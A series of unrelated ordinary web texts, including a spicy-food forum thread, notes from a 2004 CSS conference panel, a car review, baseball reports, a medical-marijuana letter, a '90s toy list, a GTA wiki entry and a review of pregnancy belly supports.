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Jonathan Falkingham is chief executive and co founder of Urban Splash, the award winning regeneration company that was established in 1993. Originally from Bradford, Jonathan studied architecture at Liverpool University, from which he gained a first class honours degree.
He then went onto form architectural practice Design Shed, which later merged with King McAllister to become shedkm. It was a meeting with Tom Bloxham whilst still at the helm of shedkm that led the two to form Urban Splash and since then Jonathan has pioneered unique design and overseen the transformation of big projects ranging from Fort Dunlop to his own award-shortlisted house in Liverpool.
As well as his role of chief executive at Urban Splash Jonathan also holds a number of other positions; sitting on the board of the Liverpool Architecture and Design Advisory Panel, as a trustee of National Museums Liverpool – chairing the institution's Capital Programme – and as a trustee of the Royal Court Theatre Liverpool. In late 2009 he was also appointed as Trustee of the RIBA.


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These are stocks that present higher risk but also offer higher reward.
That may sound a little surprising from Jim Cramer, after all every night on CNBC's "Mad Money" he always says, "some people want to make friends. I just want to make you some money."
When compared to Cramer's other strategies such as dividend yielders and growth stocks, a higher risk stock hardly seems to make sense.
"I realize this is the exact opposite of everything you've ever been told," said Cramer.
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I've had Bhut Jolokia in the form of Dave's ghost pepper hot sauce. It was truly the hottest thing I've ever eaten.
I bought it for my Thai fiancee who can never seem to sate her craving for something spicy. A tiny drop of it in a large pot of food makes it on fire. She adds a drop of it in a single serving of food and it's ridiculous. Your ears start to pop and it's just insanely hot. I really don't like spicy things but I found it to be quite good.
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I don't know, anything spicy makes my face turn red and my eyes water.
I'm so fragile
Don't feel bad! That's a natural reaction for any human being! People who like spicy food can just look past the pain ~ .
Excited to make new friends on Crunchyroll!
I love habanero hot sauce but its hard to find any that's "pure" enough around here.
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Hmm... I ate this really hot (still boiling) soup once, and it really burned my mouth.
More seriously, this Thai place around where I live makes some really hot curry. I'd say it's got to be the hottest think I've eaten.
I once tried to eat a pizza roll straight out of the oven, I couldn't taste anything for 3 days. As for spicy foods I once tried some "After Death" hot sauce we bought at a world market. It was spicy but it didn't taste all that good.
Is the pizza here yet?
This breaded chicken my boyfriend picked up from tesco. It was ridiculous. And I like tobasco in my chips.
Either that or wasabi paste.
And for temperature, I don't remember what it was exactly, but I now have a scar on my tongue. It's like a V shaped pale patch in the middle that wasn't there before.
Ladies and gentlemen, I have returned from the dead.
i'm so lame LOL the hottest i had was wasabi hehe
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Hey guys! Not every convention I go to as a Crunchyroll Ambassador is an Anime Convention! Last week I got back from Zest Fest 2013, a convention dedicated to all kinds of pepper-based foods (including things you wouldn't expect like desserts!)
With that in mind, today's question is simple: What's the hottest thing you've ever eaten?
If you didn't know, there's actually a scale for how spicy things are! It's determined by dissolving the active ingredient in peppers with alcohol and determining how much "capsaicin" there is by volume! Think about the spiciest dish you've ever eaten, and try to find how many "Heat Units" it has on the "Scoville" scale!
(If you don't like peppers, don't worry: the pain is the pepper's way of telling us not to eat the seeds since mammals, unlike birds, digest the pepper seeds when we eat them.)
Pure capsaicin crystals.
Some law enforcement grade pepper spray and tear gas. (Usually caps at 5 Million) Pepper extracts. (Most at 6 Million, but "The Source" is 7.1 Million)
Most law enforcement grade pepper spray, Trinidad Moruga Scorpion
Naga Viper pepper, Infinity Chilli, Bhut Jolokia chili pepper, Trinidad Scorpion Butch T pepper, Bedfordshire Super Naga
Red Savina habanero
Habanero chili, Scotch bonnet pepper, Datil pepper, Rocoto, Madame Jeanette, Peruvian White Habanero, Jamaican hot pepper, Guyana Wiri Wiri
Byadgi chilli, Bird's eye chili (aka. Thai Chili Pepper), Malagueta pepper, Chiltepin pepper, Piri piri (African bird's eye), Pequin pepper
Guntur chilli, Cayenne pepper, Ají pepper, Tabasco pepper, Cumari pepper (Capsicum Chinese), Katara (spicy)
Serrano pepper, Peter pepper, Aleppo pepper
Espelette pepper, Jalapeño pepper, Chipotle, Guajillo pepper, New Mexican varieties of Anaheim pepper, Hungarian wax pepper, Tabasco sauce
Anaheim pepper, Poblano pepper, Rocotillo pepper, Peppadew
Pimento, Peperoncini, Banana pepper
No significant heat
Bell pepper, Cubanelle, Aji dulce
Personally, I've gone well into 6,000,000 territory! You can only do that with an extract, so don't think of yourself as any less of a hot-head if you've only reached the 2,000,000 mark!
You can check out my Hot Sauce Adventures at Zest Fest 2013 here:
I'm Guyanese so the Wiri Wiri ( we call it Mari pepper for some reason ) is a staple in our diet. It has a really good flavor. Definitely sure I've had some others like the Red Savina and it was either a Trinidad Scorpion or Moruga, not too sure though.
I would say that 1.5 mil is the highest I've been on the Scoville scale but not higher. Too much pepper can kill the overall taste of food and defeat the purpose of eating it.
Mixing Pepper is also really awesome though. Mixing fruits like mango or tamarind into it helps give it nice flavor and texture. Cucumbers and a vinegar/lemon mix gives it a nice cool but refreshing mix. Mango for those who are familiar with chutney. And one of my all time favorite is mixing it in with coconut which gives it a nice creamy and hot mix. That I could eat all day by itself.
Now I'm hungry......
BTW I think the video was pretty awesome. I personally don't go the route of store bought. I have friends and family who make it at home. It's a hit or miss once in a while and I do lose out on variety but I'm OK with that.
I have eaten homemade chicken wings soaked in a sauce made with habanero and ghost peppers. By far the hottest thing I have ever eaten in my life. Nobody tells you it hurts just as much on the way out...
A roadside 50's diner has "The source", and has an open challenge for people to eat a bowl of chili. Those that finish it eat free the next time they come in (2 meals) And this guy puts in enough to make challengers cry.
I like some of it on my eggs when I go there, out of the 20 or so attempts at his chili challenge, I managed to finish twice. All of them if you count me taking the left overs home.
That sht is not something to mess around with The Bhat Jolokia and Naga vergas is something you need to train on before you can even think about handling the the 7mill stuff.
Evil and Good are subjective.Chaotic Neutral FTW!
I've got a bag of Bhut Jolokia peppers that I add to some things I cook, but mostly I go for habaneros because I like the flavor of those more (and they're available locally).
I use habanero peppers in my chilli. Most of my friends won't eat it but I love it. I use them in omelets too. If I'm not sweating by the time I'm done eating it wasn't hot enough.
Waiting for the next attack from the onion cutting ninjas
Seems like habanero and the bhut jolokia are very popular! But has anyone else tried the Trinidad Moruga Scorpion and its related variants?
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BTW I think the video was pretty awesome. I personally don't go the route of store bought. I have friends and family who make it at home. It's a hit or miss once in a while and I do lose out on variety but I'm OK with that.
Thank you! You might be interested in some of my other "Hot Sauce Adventures" on YouTube!
I've just uploaded Part 2 of that review series, which includes heats up to 6,000,000 Scoville!
Also, last year I got a chance to show Nobuo Uematsu and his band, Earthbound Papas, around Texas! When we went to Whataburger, the famed Final Fantasy composer also subjected himself to 6,000,000 SHU!
Excited to make new friends on Crunchyroll!
Steak coated with Law Enforcement Grade Pepper Spray with a side of ghost pepper sauce, 3 gallons of milk and a friend holding his cell phone just in case. None of us could get past the first bite...lol...
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CSS: The Good, the Bad, the UglyMarch 15, 2004
I took pretty aggressive notes during the panel that came after mine. Enjoy!
(You can tell I was paying more attention to the two people who were talking about things I hadn't heard much about before; less notes from their portions. Both were very good.)
Tantek Çelik
- Good CSS: standards
- Bad CSS: abuses, misuses, amazing screwups (tables poorly mixed with css)
- Ugly CSS: necessary: hacks, workarounds, wishes they never existed
- CSS2.1 is now a W3C Candidate Recommendation: this is big news. CSS2? forget it. 2.1 incorporates changes, errata, adds the colour orange.
- CSS2.1 reflects reality of current implementations
- CSS validator updates, updates for validating against CSS3
- coming up: dozen CSS3 modules, and as they get published, pieces are being implemented
- Tantek: I'm best known for opening Pandora's box for CSS hacks (thanks to the Box Model Hack).
- It was necessary, had no idea it would propogate as far as it did.
- Philosophy: avoid hacks if at all possible. Problem is that it builds a mystical voodoo magic around code. Good for movies, not good for work/tech. (DS: Good point.)
- Given that, if you can't avoid them, the fewer you can use the better. (gave examples)
- Further hacks are from content, the better. Hacks in CSS, they come and go — in markup, they're there forever. (ie. they belong in the CSS, not the markup, if you have to use them)
- Idea: Build content clean, build CSS clean, import separate hack stylesheet (isolate problems today, remove them tomorrow when they're not needed)
- Should have known better, but despite it all, introduced new hacks between last year's SXSW and this year - IE5Win. SprintPCS used it 40 days after introduction. Incredible. (DS: band pass, I think?)
Eric Meyer
- Here to point out errors that people fall victim to, but to help (not to make you feel bad!)
- (explained favelets that he'd later use, ran through a couple — turning on borders for tables, inline style, un-ALTed images, and font tags among others, to visually demonstrate bad markup) (DS: clever idea.)
- Showed LockerGnome redesign. Highlighted tables, missing alt text overuse of classes. Ouch
- Showed new working draft, ran bookmarklets, much better job.
- Showed WWW Conference. Not created by W3C, created by committee. been doing it for a decade.
- Turned on tables — plenty of them.
- Turned on alt highlighting — not many ALT attributes
- BAD alt text on some elements
- Some font elements.
- bold element, inside font element, inside inline style element. Yikes.
- doesn't come close to validating
- didn't bring it up to laugh at them, "ha ha, what a bunch of jerks"
- showed difference between old one and new quick revision ny himself — page weight dropped 60%
- (had to admit: bashing low-hanging fruit)
- debunked a few arguments — code is not religion. most important thing is that it's about the content. Doing it this way allows good accessibility to more devices.
Douglas Bowman
- Image replacement - in the beginning, it was good. We all believed it was good. (listed benefits)
- Shows original FIR example, explains origins of FIR (Fahrner)
- View source, simple h2 element and span
- Why not use images? Listed reasons
- Downfall: inaccessible to certain screen readers. Can't count on display: none;
- Alternatives: Phark, Gilder/Levin (touched on CSS on, images off, showed example)
- Experimental techniques good, push web dev forward. Keeps W3C on its toes, feedback loop for screenreader manufacturers, want it to work.
- CSS3 has a good new method. Generated content.
- New 'reader' media type (thanks Joe)
- Avoid use of original FIR — officially deprecated as of today
- Keep in mind appropriateness
- Inspiration, or RipOffation? Discussing ease of CSS ripoffs, viewing source
- + it's how we learn
- + view source, shows you how to build for the web, want it to continue
- - Design theft becoming increasing problem
- - all design in one file, you grab that, you're set.
- Showed examples
- Ran out of time; didn't get to discuss dual hover method. Look for it on stopdesign.com
Brian Alvey
- publishing system (SiliconAlley maybe?) in 1997 — used WYSIWYG control, basically using Word on a web page, nice.
- source produced is kind of crappy
- IE had control all along
- Mozilla just caught up, now adds its own tool.
- if you're in IE-based one, it adds garbage markup
- when page is sent to a server, it's easy to strip out and convert something
- Mozilla's handling is a nightmare. Span span span.
- Who's building a CMS on these tools that spits out valid markup? Not many. A few. They're going to heaven.
- listing different types of controls (Java-based best, but worse to load), Flash doesn't count (not truly WYSIWYG)
- easier to use other people's - if you know enough you can customize them
Kimberly Blessing
- Met Tantek through W3C group, who wondered what the hell is AOL doing here?
- many web developers in AOL, representing what we all do with CSS
- target latest and greatest, but have to worry about user with Mac OS 9 on a version of AOL they no longer support.
- to support that wide list, you need to use hacks
- interested in moving forward
- examples: different types of search results are displayed with different styles (cited Zen Garden, whoo-hoo)
- walked through marking up a featured piece of content (simple: an h3, an img, a few p's, and some ul + li combos)
- showed a grid, placement of blocks of content
- not sure I understand it, but it looks very cool, and totally database-driven
- showed different layouts given the CMS, all CSS-driven
- flexible design given different types of content/features
Reader Comments
Nice notes, Dave. I'll hopefully post mine from that panel soon, as well. All in all, I thought the panel was pretty good, though Brian Alvey and Kimberly Blessing sorta lost me in what they were talking about. Anyway, in response to the questions about FIR …
Yes, the original FIR has problems but most of the other versions have problems, too. The text-indent and height/padding fixes both have the problem that when images are turned off with CSS on (a more common occurrence than one might think), there is no text to be seen. The best method I've seen is to layer the background image over top of the replaced text, but as I think Doug pointed out, that doesn't work if your image is transparent (the text underneath will show through). If you don't need transparent images, then it works great and is fully accessible.
Of course, that method also requires an additional non-semantic empty span within the header just as the original FIR required an unnecessary span inside the header. You have to pick your battles. :)
"Problem is that it builds a mystical voodoo magic around code. Good for movies, not good for work/tech"
Very true. I've encountered designers who act as if code hacks are the new kung fu - they don't even WANT to avoid them. Tis strange. Just like tables, eventually we all have to learn to let go :)
Incidentally, do you use the webdev toolbar extension for mozilla? I find it extremely useful.
"Avoid use of original FIR — officially deprecated as of today"
So what's the new "official" technique that we should be using?
Well, I guess Dave already answered my question before I posted it. I guess that's what I get for not refreshing before posting a comment. ;-)
I guess I'll just rephrase my question:
Dave, do you have a preferred technique?
Wow, great notes. One quick question – Doug Bowman stated in his talk that original FIR is now deprecated as of today. What's the new method of image replacement?
Good point. There isn't really one single one, there are just better choices now. The original FIR is too screen-reader unfriendly, the new ones are better. Note the alternatives cited earlier in the notes; that's what we're talking about. See the big list as well:
Hey Dave.
Great meeting you this past weekend. Congrats on the awards.
Are you certain that Doug said FIR was officially depricated? I had posted this to the WSG list and someone questioned whether it was "official" or not, etc.
I had to skip out of this panel right after Alvey spoke to catch a 1:30 flight home. Did Alvey bring up CMS WYSIWYG's anymore? Thanks for the summary.
I'll tersely add that I lament the fact that generated content is consistently ignored.
One day this will change, though.
"Original FIR is deprecated" … I love it!
I still get excited when I'm mucking around in the source of someone's website and see my text-indent method being used :) Thanks for mentioning it, and thanks to Doug and other designers who keep pitching it to audiences, you guys make me look good.
Next year when I make the trip down to Austin, I'll have to buy you a beer — or a keg… remember I'm a college student!
Thanks for the notes, Dave. It all adds up to a terrific summary of the state of CSS and standards-compliant design. I particularly grokked the notes from Brian Alvey's presentation on browser-based WYSIWYG editing. "Who's building a CMS on these tools that spits out valid markup? Not many. A few. They're going to heaven."
It ain't easy. But after many, many hours of banging my head against IE's and Mozilla's implementation, it seems that I just may yet make it into heaven (as long as all those parking tickets don't get in the way). The Big Medium CMS now offers WYSIWYG editing that generates standards-compliant markup – XHTML or HTML, strict or transitional, your choice. For more info:
(By the way, congrats on the well-deserved awards for the Zen Garden!)
Lol I just used "The good, the bad and the ugly" for a site's tagline, now I read it here, heh. It has a nice ring to it doesn't it.


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2014 Kia Cadenza Long-Term Update: Road Trip
Just a few weeks into our 2014 Kia Cadenza ownership, and a few things are already becoming obvious.
To really stretch the car's legs, we took a few little road trips: one to the annual Redwine United Methodist Church old-car show about 90 minutes away from our Atlanta-based offices, and another drive four hours away to an industry event in Nashville.
Highway Miles
Clearly, Kia engineers did their homework, because this Cadenza eats up highway miles. The cabin is quiet, and the ride is extremely comfortable, even after several hours in a row. If you're on the road a lot or have a lengthy daily commute, the Cadenza is one of those just-right cars that you'll soon find you can't live without. The Cadenza is easily on par with cars such as the Chevy Impala LTZ, Toyota Avalon Limited, Lexus ES, Buick LaCrosse and Acura RL.
Ventilated front seats and a driver's side seat-bottom extender make hours behind the wheel pleasant. The seats don't feel that comfortable at first -- in fact, when you first sit in the Cadenza's seats, they might feel a little too firm, but that's the last time I even thought about the seats. Supportive and perfect for hours behind the wheel is the best way to describe them.
Earlier, we criticized the Cadenza for delivering slightly lazy acceleration from a stop, but we've found that that's not necessarily true. The Cadenza can get up and move, but you really have to hit the gas hard to get any kind of aggressive reaction. Zero-to-60 time is just over 6 seconds, which is impressive for a car of the Cadenza's size.
At speeds above 50 miles per hour, a gentle squeeze of the accelerator makes for effortless passing, and the engine and 6-speed transmission are perfectly matched. Even on hilly portions of I-75, there's no drama, no frequent upshifts and downshifts, and no buzzy engine noise.
During our 250-mile trip from Atlanta to Nashville, we averaged 27 miles per gallon. The Environmental Protection Agency's fuel economy estimate for the 2014 Kia Cadenza is 19 mpg in the city and 28 mpg on the highway. Around town, we're getting 18.3 mpg, but we have noticed that aggressive driving and stomping on the gas can bring it down to 16.5 mpg.
Next up for the Cadenza: We'll be loading up the trunk with moving supplies and putting the navigation system to the test.


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Royals' rallies aren't enough in extras defeat
SAN DIEGO -- Ten-strikeout pitching by Yordano Ventura and a clutch home run by Eric Hosmer gave the Royals some fine moments on Monday night. But not a victory.
No, the San Diego Padres came from behind twice and snatched a walk-off, 6-5 Interleague victory in the 12th inning for what remained of 14,089 fans at Petco Park. The marathon lasted three minutes shy of four hours.View Full Game Coverage
SAN DIEGO -- Ten-strikeout pitching by Yordano Ventura and a clutch home run by Eric Hosmer gave the Royals some fine moments on Monday night. But not a victory.
No, the San Diego Padres came from behind twice and snatched a walk-off, 6-5 Interleague victory in the 12th inning for what remained of 14,089 fans at Petco Park. The marathon lasted three minutes shy of four hours.View Full Game Coverage
The loss was the fifth straight for the Royals and was especially difficult to take because they twice held the lead in the late going. Not only that, but the Royals have lost all seven games they've ever played at Petco.
"We had plenty of opportunities to put it away and that's just the way things are going right now. It's definitely one of the tougher losses of the season," Hosmer said.
The Royals had gone ahead, 5-4, in the top of the 12th. Salvador Perez doubled to right-center and Mike Moustakas singled him home against reliever Tim Stauffer for a short-lived lead.
Chris Denorfia opened the Padres' 12th with a single, prompting a pitching change from Louis Coleman to Tim Collins. Alexei Amarista sacrificed Denorfia to second base and Yonder Alonso blooped a double that diving left fielder Alex Gordon couldn't catch.
"Broken bat, Gordo made a good effort on it," Collins said. "That's baseball, I guess, he's not going to make every play out there. He came close to it and, obviously, if that's caught it's a different story, but he made a great effort and you can't expect him to get to everything."
On an 0-2 count, Will Venable belted a long drive into deep right field to score both runners and end the game. It went as a two-run single.
"It was a fastball up. It's where we wanted to go with it," Collins said. "I threw it where I wanted to. He just put a good swing on it."
There was considerable drama earlier as well.
Jedd Gyorko connected off Royals closer Greg Holland for a booming home run with one out in the ninth to tie it at 4-4 and send the game into extra innings. It was Holland's first blown save after seven successful conversions.
"It was a fastball, it leaked back over the middle of the plate," Holland said.
And in the seventh, Hosmer connected off Padres right-handed reliever Nick Vincent on a full count to pull the Royals into a 4-3 lead. It was his first home run of the season and gave him three RBIs and three hits in the game.
"It was huge," manager Ned Yost said. "I was sitting there thinking this was the perfect time for Hoz to hit his first home run and he did."
Ventura pitched six innings, giving up just five hits with no walks and a career-high 10 strikeouts. However, in the sixth Yasmani Grandal's three-run homer created a 3-3 tie. That broke Ventura's streak of scoreless innings at 18 and he was taken out after the inning ended.
Ventura's fastball was peaking at 99 mph and he felt his curveball was a big pitch for him -- except for the one that Grandal smacked.
"I was just trying to get it down in the dirt like I had all night and it just stayed up, and he was able to hit it," Ventura said with help from teammate/translator Jeremy Guthrie.
Grandal sent the 1-2 pitch soaring 415 feet over the right-field wall.
"I had a pretty good clue what was coming," Grandal said. "He has a live fastball. He has a bright future. He's a rookie and tonight he made a mistake. He'll be better."
So Ventura is doing just fine as a pitcher. But how about Ventura as a hitter?
Ventura struck out in his first big league at-bat against left-hander Eric Stults but by his second time up, he seemed to get the hang of it. When the count got to 3-1, Stults came in with an 85-mph fastball which Ventura lined into left field for a single.
"When I was young, I used to swing the bat all the time so I was very confident I could get up there and hit the ball and, lucky for me, it ended up being a base hit. I was very excited," Ventura said.
Ventura thus became the 47th pitcher in Royals history to record a hit and just the 26th since the advent of Interleague Play. He led off the inning with his hit and, as it turned out, started a rally.
Nori Aoki singled to right and when Omar Infante's long drive was caught by Seth Smith near the left-field wall, it was Ventura being the daring baserunner. Tagging at second, he dashed to third base and Aoki followed his lead and beat Smith's throw to second. Hosmer singled to center field and both runners scored for a 3-0 lead.
Ventura also showed he could bunt with a successful sacrifice in the sixth.
If nothing else, the Royals did roll out 16 hits including four by Lorenzo Cain, just back in the lineup from the disabled list. Cain had three singles and a double in five at-bats. Perez joined Hosmer with three hits.
Also almost forgotten in the bitter defeat were the perfect seventh and eighth innings of relief thrown, respectively, by Aaron Crow and Wade Davis.
"Guys are making pitches, guys are getting timely hits. Things just aren't going our way right now," Hosmer said. "We've got to stick with it and we're confident things are going to change."


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It seems to me that the good of making medical marijuana available for those who get a doctor's prescription outweighs the bad
My only direct personal experience with the effectiveness of medical marijuana was when my wife was dying of cancer and was on chemo. Without going deeply into details, her life became a living hell as death became imminent.
She was very resistant when a friend tried to persuade her to try some marijuana, which he said he could get from his son (a responsible recreational user with a good job, wife, and family). When her Dana Farber oncologist didn't tell her NOT to try it (being reluctant to tell her TO try it, let's call it a wink and an affirmative nod), she agreed.
She did so once, and the results were amazing. She had six full hours where her debilitating symptoms were significantly relieved. The severe persistent nausea which plagued her, despite being on three anti-nausea drugs, disappeared. Even so, she refused to try it again. She toughed it out until the end, which was a brutal four days at Brigham and Women's, as even the strongest pain medication had no effect.
I have little doubt that eventually the chemicals which can relieve diseases and symptoms will be synthesized, and be approved as prescription medications.
Until then, it seems to me that the good of making medical marijuana available for those who get a doctor's prescription outweighs the bad.
I think almost everyone who has had a loved one suffer with an illness which makes life unbearable, and for which marijuana would help, would agree with me. We need to deal with drug abuse aggressively in Middleboro; but making sick people pay the price for drug abusers by withholding treatment for people truly in need seems cruel and insensitive.
I urge anyone who disagrees with me to read this article from the American Cancer Society website.
Hal Brown is a Middleboro resident and frequent commenter on local issues.


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Excellent question GawdHow about this. Just a little something that I threw together : - )
'The Word' is equated with the 'Logos' of Greek philosophy. Another usage of the term 'Logos' is language or discourse.'The Word' can be understood to be either language or the principle behind language.
Language allows us to differentiate between things. If we couldn't differentiate then there would just be one big nameless whole.
But after language we have 'things' because we give aspects of our experience (consciousness) names.
We even name ourselves 'I' and this 'I' somehow seems to separate us from the rest of reality. So our very selves depend on a name.
1. So through language (esp naming) all things were made!
A universe of things (matter) was constituted.
Language also differentiates humans from animals.
Each of us takes on the name 'I' at some early stage of our lives.
And both OT and NT suggest that 'I AM' is the name of God.
2. So in this way we are made in his image.
So the first name, the first word, what could it be ? I suppose it would have to be the name of God wouldn't it !?
Jesus is alleged to have said 'before Abraham was I am'


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Technology kind of rules in today's world – everything is all about electronics. I mean, the other day I saw my 5-year-old cousin playing with his very own iPad. Seriously?! It blew my mind. Remember when you were a kid, and the most technologically advanced thing you had was a fake cell phone? I do.
So we decided to get nostalgic here at Gurl and look back on the '90s version of tech toys. Now, they might not be as hi-tech as the Apple products of today, but that doesn't mean kids didn't play with these things for hours on end. In fact, these old-school toys might even be better than an iPad…
Check 'em out, and then tell us your faves:
Hit Clips
Before there were iPods, there were Hit Clips. Okay, so maybe you could only play 1 minute of your fave songs, but these things were still pretty awesome. And they were so tiny!
Password Journal
The original Password Journal was super popular back in the '90s. I loved mine, but I'm not gonna lie… it usually took about a million times before it recognized my voice and password.
Nickelodeon Alarm Clock
Who wouldn't want to wake up to a Nickelodeon alarm clock? This screams '90s.
Video Now
This was the original VideoNow player. It only played a 30 minute tape, but it didn't matter because you could watch your favorite shows wherever you wanted. It was hard to imagine things could get much more hi-tech.
Tiger Electronics Games
The Tiger Electronics games were so much fun back then, even with it's tiny screen and terrible resolution. And the Disney games ones ruled them all.
Dream Phone
Only one of the most fun games in the entire world. Hot dudes answered the phone and gave you hints on who liked you – what could be better? "Hello hunks!"
The Talkboy
Fun fact: the Talkboy was created especially for Home Alone 2, but it gained so much popularity from the movie that they had no choice but to make it a real toy. Might be the biggest voice recorder ever, but how much fun was this thing?!
Barbie Fashion Designer CD-Rom
First of all: LOOK AT THAT COMPUTER. Second of all: dressing an electronic Barbie doll was so much better than dressing a real one – there were endless possibilities!
Clueless Hands-Free Phone
I'm not entirely sure what this had to do with Clueless, but this hands-free phone was just plain awesome. The best part? You could press buttons to change the way your voice sounded.
You can't have a '90s roundup without a Tamagotchi. These little guys were so popular it was insane. Everyone wanted a tiny virtual pet who woke you up in the middle of the night to be fed. If you didn't have one… I feel sad for you.
Yak Bak
Yak Bak's were basically another version of the Talkboy, except tinier. Not sure what we did exactly with voice recorders when we were kids, but all I remember is that they were super entertaining.
Treasure Rocks
This magical game allowed you to put ugly rocks in a machine… and get shiny, pretty jewels in return! What could be better?
Nintendo 64
One of the best video game consoles ever in the history of life. No question. Sorry Wii, PlayStation and XBox – you can only come in second place.
Skip It
Skip-It's might have first come out in the late '80s, but they were updated in the '90s with a counter, which obviously made them a million times cooler. Who else had skipping competitions with their friends?
Fantastic Flowers
Another magical game, this one transformed plain paper into beautiful flowers. Except you kind of had to put them together to create anything actually beautiful – and my tries were usually a fail. Still fun though!
Creepy Crawlers Bug Maker
I never liked the idea of this game, but my brother did. And he liked torturing me with his fake bug creations even more.
Game Boy
True story: I wasn't even that into video games and I HAD to have a Game Boy. It didn't matter that the first ones didn't come in color, or that you kind of had to squint to see the screen – these were pretty epic.
Before Apple created MacBooks that weigh, like, 2 pounds and are as thin as a piece of cardboard, there were these. Huge iBooks that came in different colors and were totally amazing.
Barbie Super Talking Flip Phone
Who cared that Barbie was the only one who talked to you on this phone?! It was a cell phone!
Sega Game Gear
Sega created their own answer to the Game Boy – and while it might not have been as eternally cool, it was still pretty awesome.
Which was your favorite? What did we miss? Tell us in the comments!
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Servant of God Edward J. Flanagan
Founder of Boys Town
The cause for Servant of God Father Edward J. Flanagan's beatification and canonization was opened by Most Rev. George J. Lucas, Archbishop of Omaha on March 17, 2012, the feast day of Ireland's patron saint, St. Patrick.
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Easton is a neighborhood in central Algonquin, Liberty City. It is bordered to the north by Jade Street (Lancet), to the west by Columbus Avenue (Star Junction and The Triangle), to the south by Garnet Street (Lower Easton), and to the east by Albany Avenue (Presidents City).
Easton is a primarily commercial area. The neighborhood is dominated by the massive Grand Easton Terminal adjoining the GetaLife Building, which spans from Columbus Avenue to Albany Avenue between Jade and Hematite Streets. The terminal, while not accessible by the player, serves as the major commuter hub of Liberty City, shuttling in businessmen and workers from the surrounding suburbs and locations all the way to the Midwest. Many outlets and stores can be found around the perimeter of the terminal, also making it a popular destination for local residents and shoppers.
The residential sector of the neighborhood is located along its southern face, featuring many hotels for visiting tourists and a few moderately-tall tenements.
Points of interest
The aforementioned Grand Easton Terminal is located in and named for the neighborhood, with entrances at Hermatite Street, Albany Avenue and Columbus Avenue, and the GetaLife Building directed connected to the northern end of the terminal. Also, a hospital can be found at the intersection of Jade Street and Albany Avenue, at the border with Lancet.
The Liberty City Subway system serves the neighborhood. The eponymous station is located on Columbus Avenue between Iron and Hematite Streets, along the neighborhood's border with The Triangle. The station is served by both the Algonquin Outer Line and Algonquin Inner Line; it's an important stop on both routes as it is the only transfer point in the entire subway.
Easton is also an access point for maintenance workers into a stretch of subway line between Easton station and Emerald station. Its maintenance access point, located off Bismarck Avenue, is used during "Three Leaf Clover" as an improvised escape route from Emerald station via the connected railway tunnel.
New York City's Grand Central Terminal and MetLife Building are obviously represented by Grand Easton Terminal and the GetaLife Building, while the residential areas of the neighborhood are most closely modeled after East Village, Manhattan. Other landmarks replicated include Helmsley Building, whose duplicate is situated behind and dwarfed by the GetaLife Building, and the Devinne Press Building and Colonnade Row (at Bismarck Avenue and Hematite Street, neighboring Grand Easton Terminal, and Columbus Avenue and Hematite Street, respectively).


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On July 1, The Courier Herald will be changing the format of our website and offering a full digital version of each day's newspaper for online subscribers. This new version of the paper is exactly the same as the print edition, except that it is delivered to our online subscribers on their computers. It is fully interactive with a clickable page menu on the left side of your screen and clickable internal links on the pages (For example: If you see "continued on 3a," on the front page of the digital version, then just click on those words to be taken directly to where that story is continued on page 3a.)
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Thursday's High School Baseball Roundup
WHITESBORO — Wister pitcher Colby Turnipseed pitched a no-hitter as the Wildcats blanked the Leflore Savages 13-0 on Thursday. The 'Cats then used a five-run fifth-inning to rally past the host Whitesboro Bulldogs 8-4.The 'Dogs got past the Savages 6-2 in the other game of the day.Talihina 17, Coalgate 8: In Talihina, the Golden Tigers, leading 10-8 in the fifth inning, used a seven-run fifth inning to end the game by run rule, since Talihina's lead was at nine runs in the fifth inning.Webbers Falls 24, Arkoma 1: In Arkoma, the Warriors jumped to an 8-0 lead in the first inning. All total, Arkoma pitching walked 23 Webbers Falls batters.Editor's note — Look for the story on this weekend's Crowder Tournament, featuring Cameron and Panama, in Tuesday's edition.


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Ryan Seacrest & Julianne Hough: Ago Dinner Date
Ryan Seacrest and Julianne Hough keep close while leaving Ago on Thursday (March 10) in West Hollywood, Calif.
The couple dined at the Italian restaurant with American Idol judges Jennifer Lopez, Steven Tyler, and Randy Jackson.
Last month, Ryan, 36, and Julianne, 22, enjoyed some alone time while vacationing in Los Cabos, Mexico.
Julianne was recently confirmed to star in the film adaptation of the musical Rock of Ages opposite Tom Cruise.
FYI: Julianne is wearing faux leather H&M dress.
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It's Not A Straightjacket
Sure, I'm enormous and sure, I can barely walk, but a belly support system? Isn't that a tad much?
I scoffed at her suggestion, but she insisted.
"No, really, Chaunie," she explained patiently. "It's not as bad you think — they're actually comfortable and can really help women like you." (By which, she means, enormous-bellied women who happen to measure six weeks ahead of their gestational age.)
I started asking my fellow preggos if they had ever used a belly support system and much to my surprise, I found that they were surprisingly popular. OK, so maybe my doctor was on to something. So I did a little digging on some of the best belly support systems for pregnancy out there.
Photo credit: Blanqi.com
The Blanqi products seem to have their own dedicated following amongst my fellow pregnant ladies. Over and over, I encountered fierce loyalty to the Blanqi products, with some mothers claiming they were the best invention ever for pregnancy. I was really curious to see if the great Blanqi could tame my wild belly, so when I won one in a giveaway, I couldn't wait to try it out. My Blanqi made its grand debut on a family trip to the zoo when I was almost 33 weeks pregnant and I have to admit, the Blanqi really did save my life. I'm about 98 percent sure that I would have given up in a crumpled pregnant heap in the middle of the zoo had I not had my Blanqi backing me up. Well, from the front, that is. It was surprisingly comfortable, kept me cool when the effort of pushing three kids in a stroller got to me and, most importantly, held my belly up and my back muscles in so I could stand up and convince my husband to buy us all ice cream. Priorities, people. (Blanqi.com, $68)
Belly Bra
Photo credit: The Belly Bra
The Belly Bra is similar to the Blanqi in providing all-over abdominal and lower back support. It looks like a tank top and helps to lift the weight of your stomach off your pelvis, which is something I have been in desperate need of in this pregnancy. The sciatic nerve pain has been terrible. The Belly Bra may be a good option for expecting mothers who would like that full coverage at a more affordable price. (The Belly Bra, $39)
Belly Band
Photo credit: Babybellyband.com
The Belly Band is actually just what it sounds like — an actual band that straps across the bottom of a woman's belly to provide abdominal support and, according to the website, also relieve hernial discomfort. It can be used from the very beginning of pregnancy (hello, round ligament pain) and will literally grow right alongside of you. The Belly Band comes in all sizes and colors and features many different "add-ons," for additional support and pregnancy conditions. (Belly Band, $40)
Prenatal Cradle
Photo credit: Prenatalcradle.com
OK, as intense as this belly system looks, it's actually the one that my OB recommended for me because it boasts some serious support action. It has the belly support, the back support and it has shoulder straps to keep it all balanced and comfortable. Although it looks like it has a lot going on, the Prenatal Cradle actually leaves a lot of room, so it wouldn't add to the pregnancy heat during the summer months and it's perfect for exercising... if you're into that sort of thing. (Egan Medical, $38)
Belly Bandits
Photo credit: Bellybandit.com
